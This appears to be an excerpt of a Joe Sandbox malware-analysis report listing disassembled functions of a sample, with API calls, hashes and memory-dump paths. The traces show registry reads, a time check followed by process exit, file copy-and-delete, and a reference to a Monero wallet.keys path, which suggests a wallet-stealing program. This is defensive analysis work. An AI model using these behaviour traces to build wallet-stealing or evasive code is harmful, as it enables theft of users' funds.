Instruction ID: 6bb49f28af572fba63f2e3c0ec1c84173c2ec62812f82749bd0815cdbca50493
Opcode Fuzzy Hash: 2477c6f065ad15c8244c8e51633646b96535fcaefeb28ce8c0b436a5d5517e9f
Instruction Fuzzy Hash: A5418AB6D101086BEB14EBA0DC56FFE737DAB88300F008559B71657191EE755B8CCBA2

Function 00956920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0095696C
sscanf.NTDLL ref: 00956999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 009569B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 009569C0
ExitProcess.KERNEL32 ref: 009569DA

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 9c482c0168f0659151cc4bb455c789106be8e9560f69240d1c06ccea599fd14f
Instruction ID: e74d823d2457101789c08a10f3a291a9803ed55dc5ad506a7de0303156fde582
Opcode Fuzzy Hash: 9c482c0168f0659151cc4bb455c789106be8e9560f69240d1c06ccea599fd14f
Instruction Fuzzy Hash: 6721FAB5D00209ABDF04EFE4D955AEEB7B9FF48301F04852EE506E3250EB345608CBA9

Function 00957E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00957E37
RtlAllocateHeap.NTDLL(00000000), ref: 00957E3E
RegOpenKeyExA.ADVAPI32(80000002,015DB770,00000000,00020119,?), ref: 00957E5E
RegQueryValueExA.ADVAPI32(?,015ED3F8,00000000,00000000,000000FF,000000FF), ref: 00957E7F
RegCloseKey.ADVAPI32(?), ref: 00957E92

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: f0bf866f47819bf70edc87d35f8cbad2313d41be84b4ec0792013f3c06385bf3
Instruction ID: c21753fd7d68b89361adf605a1cea1c1637b0096e27aeab488edfa7c2dd4971d
Opcode Fuzzy Hash: f0bf866f47819bf70edc87d35f8cbad2313d41be84b4ec0792013f3c06385bf3
Instruction Fuzzy Hash: 97114FB1A44205EBE710CFD5ED4AF7BBBB8EB44711F10415AFA05A72A0DB785904CBA1

Function 00959260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(015EDD48,?,?,?,0095140C,?,015EDD48,00000000), ref: 0095926C
lstrcpyn.KERNEL32(00B8AB88,015EDD48,015EDD48,?,0095140C,?,015EDD48), ref: 00959290
lstrlen.KERNEL32(?,?,0095140C,?,015EDD48), ref: 009592A7
wsprintfA.USER32 ref: 009592C7

Strings

%s%s, xrefs: 009592B5

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 701a66744233baa2b0c4b1a81af4105e23fb30bc6b3efab63370b3a7598e739a
Instruction ID: a085fcf767dbab2419cc47f04fa54459bcf8541e3db12ac857622a7bf348b247
Opcode Fuzzy Hash: 701a66744233baa2b0c4b1a81af4105e23fb30bc6b3efab63370b3a7598e739a
Instruction Fuzzy Hash: 1701DE75500208FFEB04DFECC984EAE7BB9EB48355F108549F9099B215CA35EE41DB91

Function 009412A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 009412B4
RtlAllocateHeap.NTDLL(00000000), ref: 009412BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 009412D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 009412F5
RegCloseKey.ADVAPI32(?), ref: 009412FF

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 1bd674564feb5975785fa47b7362acaf5b93b393be4e795b547c0e40df65d39d
Instruction ID: 685c23ea30635811eb6e81ab45cf303ad788ad43975526b231c5d4a7dd4cb44f
Opcode Fuzzy Hash: 1bd674564feb5975785fa47b7362acaf5b93b393be4e795b547c0e40df65d39d
Instruction Fuzzy Hash: 180136B9A40208BBEB00DFD0DC49FAEB7BCEB48701F008155FA05D7290DA749A01DF51

Function 0095C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 0095C8EC
___crtLCMapStringA.LIBCMT ref: 0095C90C
___crtLCMapStringA.LIBCMT ref: 0095C931

Strings

, xrefs: 0095C896

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 896b38440c6884984c25c4d8aade93c9ae919702cdb8d3c9443535245bc5ee7b
Instruction ID: 7e0c3a1068ee4e29fed40f56c5f1b8e43fb17a315d2c524e771a77982fc57d01
Opcode Fuzzy Hash: 896b38440c6884984c25c4d8aade93c9ae919702cdb8d3c9443535245bc5ee7b
Instruction Fuzzy Hash: A541E4B110079C5EDB21CB258C94BFBBBFC9F45706F1448A8ED8A86182E2719A48CF20

Function 00956630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00956663

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

Part of subcall function 0095A9B0: lstrlen.KERNEL32(?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 0095A9C5
Part of subcall function 0095A9B0: lstrcpy.KERNEL32(00000000), ref: 0095AA04
Part of subcall function 0095A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0095AA12

Part of subcall function 0095A8A0: lstrcpy.KERNEL32(?,00960E17), ref: 0095A905

ShellExecuteEx.SHELL32(0000003C), ref: 00956726
ExitProcess.KERNEL32 ref: 00956755

Strings

<, xrefs: 009566D9

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: ea71e24b37a4db5fe727b8da15bbce6ce14f106e9268ec914a77fc5ca5a0a0de
Instruction ID: 54095c878abab7723015acc909d90a290c16d65af58ac58489558abf65566e66
Opcode Fuzzy Hash: ea71e24b37a4db5fe727b8da15bbce6ce14f106e9268ec914a77fc5ca5a0a0de
Instruction Fuzzy Hash: F03129B1801218AADB14EB91DC92BDEB778AF84301F404289F709671A1DF746B48CF6A

Function 009587C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00960E28,00000000,?), ref: 0095882F
RtlAllocateHeap.NTDLL(00000000), ref: 00958836
wsprintfA.USER32 ref: 00958850

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

Strings

%dx%d, xrefs: 00958847

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 362d2b5886ec6a11d09fc0e9e56ef44c0a111363ecca2baaff0ceab883314645
Instruction ID: ff2d7f509664025ff7a3f7da2cb32a40873dc60332b0708a585ba696c16e9c0a
Opcode Fuzzy Hash: 362d2b5886ec6a11d09fc0e9e56ef44c0a111363ecca2baaff0ceab883314645
Instruction Fuzzy Hash: 4A2112B1A40204AFEB04DFD4DD45FAEBBB8FB48711F104519FA05A7290DB79A901CBA1

Function 00958D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0095951E,00000000), ref: 00958D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00958D62
wsprintfW.USER32 ref: 00958D78

Strings

%hs, xrefs: 00958D6F

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: a847d1f4ed9d48b49fd79e7278fd96d4a34fb56e30f45b960081b356fecac7b0
Instruction ID: e5c4a82ce885628cd06d205b52bea79ed893aab1f57038a3491b58bcd2ce009c
Opcode Fuzzy Hash: a847d1f4ed9d48b49fd79e7278fd96d4a34fb56e30f45b960081b356fecac7b0
Instruction Fuzzy Hash: 94E0ECB5A40208BBE710DB94DD4AE6977B8EB44702F004196FE0997290DE719E10DBA6

Function 0094A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

Part of subcall function 0095A9B0: lstrlen.KERNEL32(?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 0095A9C5
Part of subcall function 0095A9B0: lstrcpy.KERNEL32(00000000), ref: 0095AA04
Part of subcall function 0095A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0095AA12

Part of subcall function 0095A8A0: lstrcpy.KERNEL32(?,00960E17), ref: 0095A905

Part of subcall function 00958B60: GetSystemTime.KERNEL32(00960E1A,015E9D28,009605AE,?,?,009413F9,?,0000001A,00960E1A,00000000,?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 00958B86

Part of subcall function 0095A920: lstrcpy.KERNEL32(00000000,?), ref: 0095A972
Part of subcall function 0095A920: lstrcat.KERNEL32(00000000), ref: 0095A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0094A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0094A3FF
lstrlen.KERNEL32(00000000), ref: 0094A6BC

Part of subcall function 0095A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0095A7E6

DeleteFileA.KERNEL32(00000000), ref: 0094A743

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 092b64280ed10f5a96d25d1b770497417be22d4b5cd18c801ff25bbf41aa65a7
Instruction ID: 183d71b44dfe2e92c4619b46c72f55a384b0e08eb7e35c94cbdb8087206ab178
Opcode Fuzzy Hash: 092b64280ed10f5a96d25d1b770497417be22d4b5cd18c801ff25bbf41aa65a7
Instruction Fuzzy Hash: CAE1EE728101189ADB05FBA5DC92FEE7338BF94301F508259F917760A1EF346A4DCB6A

Function 0094D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

Part of subcall function 0095A9B0: lstrlen.KERNEL32(?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 0095A9C5
Part of subcall function 0095A9B0: lstrcpy.KERNEL32(00000000), ref: 0095AA04
Part of subcall function 0095A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0095AA12

Part of subcall function 0095A8A0: lstrcpy.KERNEL32(?,00960E17), ref: 0095A905

Part of subcall function 00958B60: GetSystemTime.KERNEL32(00960E1A,015E9D28,009605AE,?,?,009413F9,?,0000001A,00960E1A,00000000,?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 00958B86

Part of subcall function 0095A920: lstrcpy.KERNEL32(00000000,?), ref: 0095A972
Part of subcall function 0095A920: lstrcat.KERNEL32(00000000), ref: 0095A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0094D481
lstrlen.KERNEL32(00000000), ref: 0094D698
lstrlen.KERNEL32(00000000), ref: 0094D6AC
DeleteFileA.KERNEL32(00000000), ref: 0094D72B

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: bcbdc05d611f6e6f1567d9d87f482d2a85db6b021574f338ef89e47a47054d87
Instruction ID: d82a8655e56ada924608308451c000ce6018b3eddaef607872187acca83b5934
Opcode Fuzzy Hash: bcbdc05d611f6e6f1567d9d87f482d2a85db6b021574f338ef89e47a47054d87
Instruction Fuzzy Hash: 5091F1729101189ADB04FBA5DC96FEE7338BF94301F504259F917A70A1EF346A0DCB6A

Function 0094D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

Part of subcall function 0095A9B0: lstrlen.KERNEL32(?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 0095A9C5
Part of subcall function 0095A9B0: lstrcpy.KERNEL32(00000000), ref: 0095AA04
Part of subcall function 0095A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0095AA12

Part of subcall function 0095A8A0: lstrcpy.KERNEL32(?,00960E17), ref: 0095A905

Part of subcall function 00958B60: GetSystemTime.KERNEL32(00960E1A,015E9D28,009605AE,?,?,009413F9,?,0000001A,00960E1A,00000000,?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 00958B86

Part of subcall function 0095A920: lstrcpy.KERNEL32(00000000,?), ref: 0095A972
Part of subcall function 0095A920: lstrcat.KERNEL32(00000000), ref: 0095A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0094D801
